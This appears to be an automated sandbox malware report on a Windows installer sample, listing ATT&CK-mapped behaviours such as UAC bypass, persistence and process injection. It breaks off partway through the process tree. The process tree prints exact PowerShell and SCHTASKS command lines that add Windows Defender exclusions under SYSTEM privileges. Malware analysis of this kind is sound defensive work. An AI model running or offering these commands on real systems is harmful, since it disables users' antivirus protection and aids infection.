a9e2c1b5e9278335d4099ec20e91cda9cdc1b46b41f6c8063f7508966ad12db2

Analysis

max time kernel
135s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 12:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.3.1.03.exe
Size 32.4MB
Sample261027-n642esdx5k
SHA256 a9e2c1b5e9278335d4099ec20e91cda9cdc1b46b41f6c8063f7508966ad12db2
MD5 c66612eb70cfcca434d65004f1a4638b
SHA1 1269b80d40ed1f02e26d3160fc79a7ec95a79c28
SHA512 bba8a08903e4fb76823d95c0036999d22f700eadd5184e9b77fe8d7156e71d6b9a0e12b50872db03a20f17bc5855dc892a7a4479662fd041019f98c8e48a38ea
SSDEEP 196608:6qEfM3r4vGOgAVAiZfFK0SBqtiEPFNPTp:S6qpN
TLSH
T183770646FA414DD2F85846F588ABB7A023FEBD7582D1C30721D87325AFAF29C0E93195
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	k9JZdp.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\TN8CWP = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe
5428	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	k9JZdp.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
2876	icacls.exe
4880	icacls.exe
5076	takeown.exe
2308	icacls.exe
2568	icacls.exe
5352	icacls.exe
3168	icacls.exe
3312	icacls.exe
4640	icacls.exe
5948	icacls.exe
5920	icacls.exe
3036	icacls.exe
5564	icacls.exe
5900	icacls.exe
5624	icacls.exe
4856	icacls.exe
1048	icacls.exe
4868	icacls.exe
2128	icacls.exe
5184	icacls.exe
5964	takeown.exe
2020	icacls.exe
3984	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
3024	aPLDph.exe
2224	aPLDph.exe
4836	k9JZdp.exe
1764	k9JZdp.exe
1740	H3fC2s.exe

Loads dropped DLL 6 IoCs

pid	Process
3024	aPLDph.exe
3024	aPLDph.exe
2224	aPLDph.exe
4836	k9JZdp.exe
1764	k9JZdp.exe
1740	H3fC2s.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3312	icacls.exe
4880	icacls.exe
5948	icacls.exe
4856	icacls.exe
5564	icacls.exe
3984	icacls.exe
5900	icacls.exe
4868	icacls.exe
2308	icacls.exe
5184	icacls.exe
5964	takeown.exe
4640	icacls.exe
2876	icacls.exe
2128	icacls.exe
1048	icacls.exe
5920	icacls.exe
3036	icacls.exe
2020	icacls.exe
3168	icacls.exe
5624	icacls.exe
5076	takeown.exe
2568	icacls.exe
5352	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\TN8CWP\\aPLDph.exe\""	aPLDph.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\k9JZdp\\k9JZdp.exe\""	k9JZdp.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2516	cmd.exe
5632	cmd.exe
2348	cmd.exe
692	cmd.exe
6040	cmd.exe
576	cmd.exe
1708	cmd.exe
2824	cmd.exe
6012	cmd.exe
5808	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	aPLDph.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\zoR2N2VdV\image.png	k9JZdp.exe
File created	C:\Program Files (x86)\zoR2N2VdV\thumbs.db	k9JZdp.exe
File opened for modification	C:\Program Files (x86)\zoR2N2VdV\thumbs.db	k9JZdp.exe
File created	C:\Program Files (x86)\k9JZdp\image.png	aPLDph.exe
File created	C:\Program Files (x86)\k9JZdp\thumbs.db	aPLDph.exe
File created	C:\Program Files (x86)\zoR2N2VdV\image.png	k9JZdp.exe
File created	C:\Program Files (x86)\zoR2N2VdV\H3fC2s.exe	k9JZdp.exe
File opened for modification	C:\Program Files (x86)\zoR2N2VdV\XPSPLOG.dll	k9JZdp.exe
File opened for modification	C:\Program Files (x86)\zoR2N2VdV\H3fC2s.exe	k9JZdp.exe
File created	C:\Program Files (x86)\k9JZdp\k9JZdp.exe	aPLDph.exe
File created	C:\Program Files (x86)\k9JZdp\XPSPLOG.dll	aPLDph.exe
File opened for modification	C:\Program Files (x86)\k9JZdp\XPSPLOG.dll	aPLDph.exe
File opened for modification	C:\Program Files (x86)\k9JZdp\thumbs.db	aPLDph.exe
File created	C:\Program Files (x86)\zoR2N2VdV\XPSPLOG.dll	k9JZdp.exe
File opened for modification	C:\Program Files (x86)\k9JZdp	aPLDph.exe
File opened for modification	C:\Program Files (x86)\k9JZdp\k9JZdp.exe	aPLDph.exe
File opened for modification	C:\Program Files (x86)\k9JZdp\image.png	aPLDph.exe
File opened for modification	C:\Program Files (x86)\zoR2N2VdV	k9JZdp.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	k9JZdp.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5836	sc.exe
5640	sc.exe
4204	sc.exe
3496	sc.exe
6080	sc.exe
1472	sc.exe
1440	sc.exe
3728	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	k9JZdp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	k9JZdp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	k9JZdp.exe

Executes a command shell one-liner 1 TTPs 29 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4652	cmd.exe
3344	cmd.exe
5064	cmd.exe
2968	cmd.exe
4300	cmd.exe
5884	cmd.exe
3308	cmd.exe
4896	cmd.exe
3372	cmd.exe
4104	cmd.exe
3800	cmd.exe
3692	cmd.exe
4368	cmd.exe
5988	cmd.exe
1744	cmd.exe
4256	cmd.exe
1624	cmd.exe
2932	cmd.exe
4952	cmd.exe
4904	cmd.exe
3064	cmd.exe
896	cmd.exe
5432	cmd.exe
5896	cmd.exe
2224	cmd.exe
856	cmd.exe
2408	cmd.exe
3856	cmd.exe
1020	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.3.1.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.3.1.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	aPLDph.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	aPLDph.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	k9JZdp.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	k9JZdp.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H3fC2s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k9JZdp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k9JZdp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	k9JZdp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	k9JZdp.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\SCRNSAVE.EXE	k9JZdp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveActive = "0"	k9JZdp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	k9JZdp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	k9JZdp.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3240	schtasks.exe
5408	schtasks.exe
2764	schtasks.exe
4820	schtasks.exe
1020	schtasks.exe
4392	schtasks.exe
4556	schtasks.exe
3408	schtasks.exe
5780	schtasks.exe
1792	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
4896	install.3.1.03.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe
3024	aPLDph.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeIncreaseQuotaPrivilege	2328	powershell.exe
Token: SeSecurityPrivilege	2328	powershell.exe
Token: SeTakeOwnershipPrivilege	2328	powershell.exe
Token: SeLoadDriverPrivilege	2328	powershell.exe
Token: SeSystemProfilePrivilege	2328	powershell.exe
Token: SeSystemtimePrivilege	2328	powershell.exe
Token: SeProfSingleProcessPrivilege	2328	powershell.exe
Token: SeIncBasePriorityPrivilege	2328	powershell.exe
Token: SeCreatePagefilePrivilege	2328	powershell.exe
Token: SeBackupPrivilege	2328	powershell.exe
Token: SeRestorePrivilege	2328	powershell.exe
Token: SeShutdownPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeSystemEnvironmentPrivilege	2328	powershell.exe
Token: SeRemoteShutdownPrivilege	2328	powershell.exe
Token: SeUndockPrivilege	2328	powershell.exe
Token: SeManageVolumePrivilege	2328	powershell.exe
Token: 33	2328	powershell.exe
Token: 34	2328	powershell.exe
Token: 35	2328	powershell.exe
Token: 36	2328	powershell.exe
Token: SeTakeOwnershipPrivilege	5076	takeown.exe
Token: SeRestorePrivilege	3036	icacls.exe
Token: SeTakeOwnershipPrivilege	5964	takeown.exe
Token: SeRestorePrivilege	5184	icacls.exe
Token: SeDebugPrivilege	5428	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2328	3024	aPLDph.exe	95
PID 3024 wrote to memory of 2516	3024	aPLDph.exe	98
PID 2516 wrote to memory of 2764	2516	cmd.exe	100
PID 3024 wrote to memory of 5632	3024	aPLDph.exe	102
PID 2516 wrote to memory of 2216	2516	cmd.exe	103
PID 2516 wrote to memory of 5012	2516	cmd.exe	106
PID 3024 wrote to memory of 2348	3024	aPLDph.exe	108
PID 5632 wrote to memory of 4820	5632	cmd.exe	109
PID 5632 wrote to memory of 3444	5632	cmd.exe	111
PID 2348 wrote to memory of 1020	2348	cmd.exe	112
PID 5632 wrote to memory of 2968	5632	cmd.exe	114
PID 2348 wrote to memory of 4152	2348	cmd.exe	115
PID 3024 wrote to memory of 692	3024	aPLDph.exe	116
PID 2348 wrote to memory of 4556	2348	cmd.exe	118
PID 692 wrote to memory of 1792	692	cmd.exe	119
PID 692 wrote to memory of 2456	692	cmd.exe	120
PID 692 wrote to memory of 5892	692	cmd.exe	125
PID 3024 wrote to memory of 6040	3024	aPLDph.exe	126
PID 6040 wrote to memory of 4392	6040	cmd.exe	128
PID 6040 wrote to memory of 5980	6040	cmd.exe	129
PID 6040 wrote to memory of 3704	6040	cmd.exe	132
PID 5884 wrote to memory of 6076	5884	cmd.exe	133
PID 4300 wrote to memory of 2584	4300	cmd.exe	134
PID 4904 wrote to memory of 3788	4904	cmd.exe	135
PID 3856 wrote to memory of 4800	3856	cmd.exe	136
PID 3024 wrote to memory of 4836	3024	aPLDph.exe	138
PID 4836 wrote to memory of 1744	4836	k9JZdp.exe	142
PID 4836 wrote to memory of 3064	4836	k9JZdp.exe	141
PID 4836 wrote to memory of 4256	4836	k9JZdp.exe	145
PID 4836 wrote to memory of 1624	4836	k9JZdp.exe	148
PID 3064 wrote to memory of 5900	3064	cmd.exe	150
PID 4836 wrote to memory of 2224	4836	k9JZdp.exe	151
PID 4836 wrote to memory of 896	4836	k9JZdp.exe	153
PID 4836 wrote to memory of 576	4836	k9JZdp.exe	154
PID 4836 wrote to memory of 1020	4836	k9JZdp.exe	157
PID 576 wrote to memory of 4556	576	cmd.exe	159
PID 896 wrote to memory of 5536	896	cmd.exe	160
PID 5536 wrote to memory of 3068	5536	net.exe	161
PID 1020 wrote to memory of 4640	1020	cmd.exe	162
PID 576 wrote to memory of 3948	576	cmd.exe	163
PID 896 wrote to memory of 1440	896	cmd.exe	164
PID 4836 wrote to memory of 3800	4836	k9JZdp.exe	166
PID 896 wrote to memory of 3728	896	cmd.exe	169
PID 576 wrote to memory of 3864	576	cmd.exe	168
PID 896 wrote to memory of 460	896	cmd.exe	170
PID 3800 wrote to memory of 2876	3800	cmd.exe	255
PID 460 wrote to memory of 4596	460	net.exe	172
PID 4836 wrote to memory of 4104	4836	k9JZdp.exe	173
PID 896 wrote to memory of 1472	896	cmd.exe	174
PID 4104 wrote to memory of 5624	4104	cmd.exe	176
PID 896 wrote to memory of 6080	896	cmd.exe	177
PID 896 wrote to memory of 3824	896	cmd.exe	178
PID 3824 wrote to memory of 5036	3824	net.exe	179
PID 4836 wrote to memory of 5064	4836	k9JZdp.exe	180
PID 896 wrote to memory of 3496	896	cmd.exe	182
PID 5064 wrote to memory of 4868	5064	cmd.exe	183
PID 896 wrote to memory of 5836	896	cmd.exe	184
PID 4836 wrote to memory of 3372	4836	k9JZdp.exe	185
PID 896 wrote to memory of 972	896	cmd.exe	187
PID 3372 wrote to memory of 4880	3372	cmd.exe	188
PID 972 wrote to memory of 2328	972	net.exe	189
PID 4836 wrote to memory of 4652	4836	k9JZdp.exe	190
PID 896 wrote to memory of 4204	896	cmd.exe	191
PID 896 wrote to memory of 5640	896	cmd.exe	193

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	k9JZdp.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.3.1.03.exe
"C:\Users\Admin\AppData\Local\Temp\install.3.1.03.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5112

C:\Users\Public\TN8CWP\aPLDph.exe
"C:\Users\Public\TN8CWP\aPLDph.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TN8CWP\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TN8CWP\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
